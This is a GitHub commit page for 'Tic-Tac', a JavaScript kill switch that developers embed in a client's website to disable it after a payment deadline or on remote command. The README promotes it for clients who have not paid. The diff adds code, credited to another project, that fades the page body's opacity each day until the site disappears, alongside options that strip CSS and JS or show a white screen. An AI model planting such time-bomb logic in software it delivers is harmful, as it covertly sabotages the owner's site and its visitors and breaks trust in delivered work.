Skip to content

Commit

Permalink
Adding a fading feature when the date is going to be reach
Browse files Browse the repository at this point in the history
  • Loading branch information
Sanix Darker committed Mar 7, 2019
1 parent 8cf3945 commit e6848b0
Show file tree
Hide file tree
Showing 3 changed files with 32 additions and 8 deletions.
9 changes: 7 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,8 @@
<img src="img/icone.jpg" style="width:20px" >

# Tic-Tac
Put a deadline on a project or just activate/desactivate it remotely For personnals reasons (Never get paid on a project, etc...).
## Client not paid ?
Put a deadline on a project or just activate/desactivate it remotely For personnals reasons (Never get paid on a project, etc...), kill CSS, JS, show a whiteScreen or add opacity to the body tag and decrease it every day until their site completely fades away.

**NOTE: "Am not responsible in the bad use of this project"**

Expand Down Expand Up @@ -99,6 +100,10 @@ headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Typ
</html>
```

### Another sources

-[Decrease-opacity-feature](https://github.com/kleampa/not-paid)

### Author:

- [Sanix-Darker](https://github.com/Sanix-Darker)
Expand All @@ -115,4 +120,4 @@ headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Typ
</tr>
</table>

**🐼PANDA:** What's really coul with Tic Tac is that, it affect "any files" in your website, he just Bichakalla the user's rendering.
**🐼PANDA:** What's really coul with Tic Tac is that, it affect "any files" in your website, he just "Bichakalla" the user's rendering.
29 changes: 24 additions & 5 deletions js/tictac.js
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@
* [date_diff_indays description]
* @param {[type]} format [en or fr]
* @param {[type]} date2 [description]
* @return {[type]} [description]
*/
function date_diff_indays(date2) {

Expand All @@ -26,7 +25,6 @@
* @param {[type]} condition [description]
* @param {[type]} el [description]
* @param {[type]} els [description]
* @return {[type]} [description]
*/
function killThatShit(condition, els){
if(condition){
Expand All @@ -50,9 +48,32 @@

//console.log("typeof whitescreen: ", typeof(whitescreen));
if(date_diff_indays(date) <= 0 ){

/* --------------------------------------------------------------------------------------------------------*/
/* This code will decrease the opacity of the app....
/* A Code from https://github.com/kleampa/not-paid/
/* By kleampa
/* change these variables as you wish */
var due_date = date;
var days_deadline = 10;
/* stop changing here */
var current_date = new Date();
var utc1 = Date.UTC(due_date.getFullYear(), due_date.getMonth(), due_date.getDate());
var utc2 = Date.UTC(current_date.getFullYear(), current_date.getMonth(), current_date.getDate());
var days = Math.floor((utc2 - utc1) / (1000 * 60 * 60 * 24));
if(days > 0) {
var days_late = days_deadline-days;
var opacity = (days_late*100/days_deadline)/100;
opacity = (opacity < 0) ? 0 : opacity;
opacity = (opacity > 1) ? 1 : opacity;
if(opacity >= 0 && opacity <= 1) {
document.getElementsByTagName("BODY")[0].style.opacity = opacity;
}
}
/* --------------------------------------------------------------------------------------------------------*/

// Killing Css
killThatShit(killCss, document.getElementsByTagName('head'));

// killing html css
killThatShit(killCss, document.getElementsByTagName('style'));

Expand All @@ -69,14 +90,12 @@
}
}


/**
* [checkDate description]
* @param {[type]} date [description]
* @param {Boolean} killCss [description]
* @param {Boolean} killJs [description]
* @param {Boolean} whitescreen [description]
* @return {[type]} [description]
*/
function checkDate(Array_parameters, remoteDead=null){

Expand Down
2 changes: 1 addition & 1 deletion js/tictac.min.js

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

0 comments on commit e6848b0

Please sign in to comment.